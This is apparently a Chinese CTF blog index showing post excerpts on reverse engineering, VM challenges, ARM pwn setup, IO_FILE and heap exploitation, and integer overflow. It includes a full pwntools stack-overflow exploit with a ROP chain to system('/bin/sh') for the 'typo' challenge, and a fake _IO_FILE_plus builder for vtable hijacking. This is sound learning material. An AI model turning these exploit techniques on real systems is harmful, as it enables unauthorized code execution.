0%

z3 总结

image-20200422085404109

BitVec为8位的时候有坑,他会将数据全变成8位的,也就是同数据级别运算,这里只能将数据扩展成32位的

本文作者:NoOne
本文地址https://noonegroup.xyz/posts/38221faf/
版权声明:转载请注明出处!

dump内存ida分析

这些天看到一篇文章挺好的无需脱壳dump内存

本想查app脱壳的,查到这个也学一下,思路挺好的, 简单来说就是不修复,直接dump出内存利用ida分析,

适用情况:

  1. smc解密后dump
  2. 加壳解密后dump
  3. 一些特殊情况

测试环境

软件备注
VMProtect版本:2.08
题目随便github搜的,这里选了re100
ida7.0
ollydbg吾爱破解od
Read more »

VM题目

真难.. 网鼎的pwn是vm虚拟机,没咋学过vm看不懂,这边先搞下简单的练习下

WxyVM1

image-20200512164410201

长度为24, 同时虚拟机运算后要跟指定字符比较, 比较结果对的上才可以成功

这个虚拟机很明显

image-20200512164521050

三个字节一读取,

第一个字节为操作码

第二个字节为操作对象

第三个字节为操作数

不过这数据有点多啊, 5000次的循环

然后取出handler

Read more »

1-环境配置

https://bbs.pediy.com/thread-248293.htm

1
Snapshot cancel                                    FAILED (remote: 'unknown command')

解决方案

twrp包

1
https://dl.twrp.me/bullhead/twrp-3.1.0-0-bullhead.img
Read more »

arm-pwn

环境配置

静态链接直接安装这个就可以运行了

1
sudo apt-get install qemu-user

动态链接

image-20200412111135643

对应安装

1
qemu-aarch64 -L /usr/aarch64-linux-gnu/ ./pwn

指定共享库

具体过程看wiki

javisoj-typo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
link = ''
host,port = map(str.strip, link.split(':')) if link != '' else ("",0)
context.log_level = 'debug'
#context.terminal = "/home/noone/hyperpwn/hyperpwn-client.sh"
context.terminal = ['mate-terminal','--geometry=94x60--10-26','--hide-menubar', '-x','sh','-c',]
exe = './typo'
context.binary = exe
elf = ELF(exe)
libc = elf.libc


#don't forget to change it
if local:
io = process(['qemu-arm',"-g", "1234", exe])
else:
io = remote(host,port)

s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline().strip()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(io,"b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
try:
import subprocess
except Exception as e:
print("subprocess not install")
exit(0)
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))



#===========================================================
# EXPLOIT GOES HERE
#===========================================================

# Arch: arm-32-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x8000)


def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

offset = 112
sla("quit\n", "")
rl()
pop_r0_r4_pc = 0x00020904
bin_sh = 0x0006c384
system_addr = 0x10BA8
payload = "a"*offset + p32(pop_r0_r4_pc) + p32(bin_sh)*2 + p32(system_addr)
sl(payload)
#ga()
'''
try:
from LibcSearcher import *
except Exception as e:
print("LibcSearcher not install")
exit(0)
obj = LibcSearcher("fgets",leak_addr)
libc_base = leak_addr - obj.dump("fgets")
system_addr = libc_base + obj.dump("system")
malloc_hook = libc_base + obj.dump("__malloc_hook")
free_hook = libc_base + obj.dump("__free_hook")
bin_sh_addr = libc_base + obj.dump("str_bin_sh")
'''
ia()

if __name__ == '__main__':
exp(host,)
Read more »

io_file总结

  1. vtable,伪造vtable进行攻击,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161

_IO_USE_OLD_IO_FILE = False
_BITS = 64


def _u64(data):
return struct.unpack("<Q", data)[0]


def _u32(data):
return struct.unpack("<I", data)[0]


def _u16(data):
return struct.unpack("<H", data)[0]


def _u8(data):
return ord(data)


def _usz(data):
if _BITS == 32:
return _u32(data)
elif _BITS == 64:
return _u64(data)
else:
print("[-] Invalid _BITS")
exit()


def _ua(data):
if _BITS == 32:
return _u32(data)
elif _BITS == 64:
return _u64(data)
else:
print("[-] Invalid _BITS")
exit()


def _p64(data):
return struct.pack("<Q", data)


def _p32(data):
return struct.pack("<I", data)


def _p16(data):
return struct.pack("<H", data)


def _p8(data):
return chr(data)


def _psz(data):
if _BITS == 32:
return _p32(data)
elif _BITS == 64:
return _p64(data)
else:
print("[-] Invalid _BITS")
exit()


def _pa(data):
if _BITS == 32:
return struct.pack("<I", data)
elif _BITS == 64:
return struct.pack("<Q", data)
else:
print("[-] Invalid _BITS")
exit()


class _IO_FILE_plus:
def __init__(self):
self._flags = 0x00000000fbad2887 # High-order word is _IO_MAGIC; rest is flags.
self._IO_read_ptr = 0x602500 # Current read pointer
self._IO_read_end = 0x602500 # End of get area
self._IO_read_base = 0x602500 # Start of putback+get area
self._IO_write_base = 0x602600 # Start of put area
self._IO_write_ptr = 0x602600 # Current put pointer
self._IO_write_end = 0x602600 # End of put area
self._IO_buf_base = 0x602600 # Start of reserve area
self._IO_buf_end = 0x602601 # End of reserve area

# The following fields are used to support backing up and undo.
self._IO_save_base = 0 # Pointer to start of non-current get area
self._IO_backup_base = 0 # Pointer to first valid character of backup area
self._IO_save_end = 0 # Pointer to end of non-current get area

self._markers = 0
self._chain = 0

self._fileno = 0
self._flags2 = 0
self._old_offset = 0 # This used to be _offset but it's too small

# 1+column number of pbase(); 0 is unknown
self._cur_column = 0
self._vtable_offset = 0
self._shortbuf = 0

self._lock = 0x602700

if not _IO_USE_OLD_IO_FILE:
self._offset = 0
self._codecvt = 0
self._wide_data = 0
self._freeres_list = 0
self._freeres_buf = 0
self.__pad5 = 0
self._mode = 0
self._unused2 = [0 for i in range(15 * 4 - 5 * _BITS / 8)]
self.vtable = vtable_address

def tostr(self):
buf = _p64(self._flags & 0xffffffff) + \
_pa(self._IO_read_ptr) + \
_pa(self._IO_read_end) + \
_pa(self._IO_read_base) + \
_pa(self._IO_write_base) + \
_pa(self._IO_write_ptr) + \
_pa(self._IO_write_end) + \
_pa(self._IO_buf_base) + \
_pa(self._IO_buf_end) + \
_pa(self._IO_save_base) + \
_pa(self._IO_backup_base) + \
_pa(self._IO_save_end) + \
_pa(self._markers) + \
_pa(self._chain) + \
_p32(self._fileno) + \
_p32(self._flags2) + \
_p64(self._old_offset) + \
_p16(self._cur_column) + \
_p8(self._vtable_offset) + \
_p8(self._shortbuf)
if _BITS == 64:
buf += _p32(0)
buf += _pa(self._lock)
if not _IO_USE_OLD_IO_FILE:
buf += \
_p64(self._offset) + \
_pa(self._codecvt) + \
_pa(self._wide_data) + \
_pa(self._freeres_list) + \
_pa(self._freeres_buf) + \
_psz(self.__pad5) + \
_p32(self._mode) + \
''.join(map(lambda x: _p8(x), self._unused2)) + \
_pa(self.vtable)
return buf

def __str__(self):
return self.tostr()


s = _IO_FILE_plus().tostr()
Read more »

  1. 栈溢出
    • ret2text
    • ret2shellcode
    • ret2syscall
  2. 堆溢出
  3. 整数溢出
  4. 条件竞争
  5. 伪随机
  6. uaf
  7. double free
  8. 格式化字符串
  9. 数组越界访问

本文作者:NoOne
本文地址https://noonegroup.xyz/posts/8581cd81/
版权声明:转载请注明出处!

整数溢出总结

最近遇到个很有意思的题目, 顺便总结下整数溢出吧

谈整数溢出,不谈数据宽度的都是耍流氓, 所以先说下数据宽度

数据宽度

记住圆圈,

image-20200502205418315

数据类型单位(bit)
byte 字节8
word 字16
dword 双字32
qword 四字64

内存中只存0和1,没有正负数只分,正负数是人为分开的

这里可以看到这些图,很形象的把数据宽度表示出来了,

Read more »

heap总结

堆溢出查找

calloc与malloc与realloc

calloc会清空堆块,malloc不会,通过堆溢出,修改insue位为IS_MAPPED可以让calloc不清空堆块

realloc 的操作并不是像字面意义上那么简单,其内部会根据不同的情况进行不同操作

  • 当 realloc(ptr,size) 的 size 不等于 ptr 的 size 时
    • 如果申请 size > 原来 size
      • 如果 chunk 与 top chunk 相邻,直接扩展这个 chunk 到新 size 大小
      • 如果 chunk 与 top chunk 不相邻,相当于 free(ptr),malloc(new_size)
    • 如果申请 size < 原来 size
      • 如果相差不足以容得下一个最小 chunk(64 位下 32 个字节,32 位下 16 个字节),则保持不变
      • 如果相差可以容得下一个最小 chunk,则切割原 chunk 为两部分,free 掉后一部分
  • 当 realloc(ptr,size) 的 size 等于 0 时,相当于 free(ptr)
  • 当 realloc(ptr,size) 的 size 等于 ptr 的 size,不进行任何操作
Read more »